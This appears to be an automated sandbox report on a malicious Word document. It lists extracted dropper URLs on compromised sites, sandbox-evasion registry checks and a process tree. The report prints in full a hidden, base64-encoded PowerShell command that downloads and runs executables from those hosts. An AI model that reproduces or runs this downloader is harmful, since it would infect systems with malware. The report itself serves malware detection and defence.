Analysis
-
max time kernel
29s -
resource
win10v191014 -
submitted
09-12-2019 19:13
General
-
Target
56eb93cd6cb96e0bd83fd055336ca4b233f084dd3554b91be6694c562069a699.doc
-
Sample
191209-85nc3cavaj
-
SHA256
56eb93cd6cb96e0bd83fd055336ca4b233f084dd3554b91be6694c562069a699
Score
5/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://mgn.becksworld.org/cgi-bin/qou-ctdaa-783206946/
exe.dropper
http://glojef.hwtnetworks.com/cgi-bin/kewbuqy-7d9-286/
exe.dropper
http://psikologimarketing.com/eikhx/QBMWeUC/
exe.dropper
http://demo.woo-wa.com/wp-content/crDSizyuW/
exe.dropper
http://www.icbasiglio.gov.it/wpgo/w7mfnu8-wk673a-9668696/
Signatures
-
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4944 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
WINWORD.EXEpid process 4944 WINWORD.EXE -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 3640 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
Processes:
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4944 WINWORD.EXE -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
SppExtComObj.exedescription pid process target process PID 4040 wrote to memory of 4008 4040 SppExtComObj.exe SLUI.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 3640 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56eb93cd6cb96e0bd83fd055336ca4b233f084dd3554b91be6694c562069a699.doc" /o ""1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Suspicious behavior: AddClipboardFormatListener
PID:4944
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4008
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABYAGwAbwBlAGEAYQB3AGkAdwA9ACcASwB3AGMAZgBoAHkAegB0AG0AZgAnADsAJABSAGsAYwB6AGMAdQBiAGkAcgBqACAAPQAgACcANQA2ADUAJwA7ACQATwBxAHoAeABjAGsAbwB4AGwAPQAnAFAAYgBxAHQAZABiAHEAcQBiAGEAJwA7ACQARABsAGcAYQBwAHUAdABlAHkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIAawBjAHoAYwB1AGIAaQByAGoAKwAnAC4AZQB4AGUAJwA7ACQAQQBvAHQAagBzAHEAZwBiAD0AJwBJAHAAagBiAHoAZgBtAGIAbgB6ACcAOwAkAEMAbQB6AGQAZgB2AHAAZABvAD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABOAEUAVAAuAHcARQBCAGMATABpAEUATgBUADsAJABXAHIAbgBoAGkAZwB4AHQAcwB5AGsAPQAnAGgAdAB0AHAAOgAvAC8AbQBnAG4ALgBiAGUAYwBrAHMAdwBvAHIAbABkAC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8AcQBvAHUALQBjAHQAZABhAGEALQA3ADgAMwAyADAANgA5ADQANgAvACoAaAB0AHQAcAA6AC8ALwBnAGwAbwBqAGUAZgAuAGgAdwB0AG4AZQB0AHcAbwByAGsAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGsAZQB3AGIAdQBxAHkALQA3AGQAOQAtADIAOAA2AC8AKgBoAHQAdABwADoALwAvAHAAcwBpAGsAbwBsAG8AZwBpAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwBlAGkAawBoAHgALwBRAEIATQBXAGUAVQBDAC8AKgBoAHQAdABwADoALwAvAGQAZQBtAG8ALgB3AG8AbwAtAHcAYQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGMAcgBEAFMAaQB6AHkAdQBXAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaQBjAGIAYQBzAGkAZwBsAGkAbwAuAGcAbwB2AC4AaQB0AC8AdwBwAGcAbwAvAHcANwBtAGYAbgB1ADgALQB3AGsANgA3ADMAYQAtADkANgA2ADgANgA5ADYALwAnAC4AIgBzAFAAbABgAGkAVAAiACgAJwAqACcAKQA7ACQAUABnAGkAZwBwAGsAbwB5AGEAZwB4AG4APQAnAEoAYQB3AGcAZgBjAHoAZgB0AGEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMAcQBxAHAAYwByAGUAdAAgAGkAbgAgACQAVwByAG4AaABpAGcAeAB0AHMAeQBrACkAewB0AHIAeQB7ACQAQwBtAHoAZABmAHYAcABkAG8ALgAiAEQAYABPAHcAYABOAGAATABPAGEARABGAGkAbABlACIAKAAkAFMAcQBxAHAAYwByAGUAdAAsACAAJABEAGwAZwBhAHAAdQB0AGUAeQApADsAJABCAGwAZAB6AG0AcwBsAGgAPQAnAEIAbQBhAHYAbgBrAGoAYgBzAHcAYgAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEQAbABnAGEAcAB1AHQAZQB5ACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADIANgA5ADUAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwB0AGEAYABSAFQAIgAoACQARABsAGcAYQBwAHUAdABlAHkAKQA7ACQARgBnAHUAcAB0AGsAbQBoAHcAbgA9ACcAVQBhAHQAZQBjAHIAagB3ACcAOwBiAHIAZQBhAGsAOwAkAEcAagBwAG8AdgByAGgAbgBhAGwAPQAnAFQAZwB5AHYAbgBvAGEAdABwAG4AbQBqACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAbwB0AGsAZwB6AGwAdgB6AGsAPQAnAE8AdgBhAGkAbQB4AG8AYwBoACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3640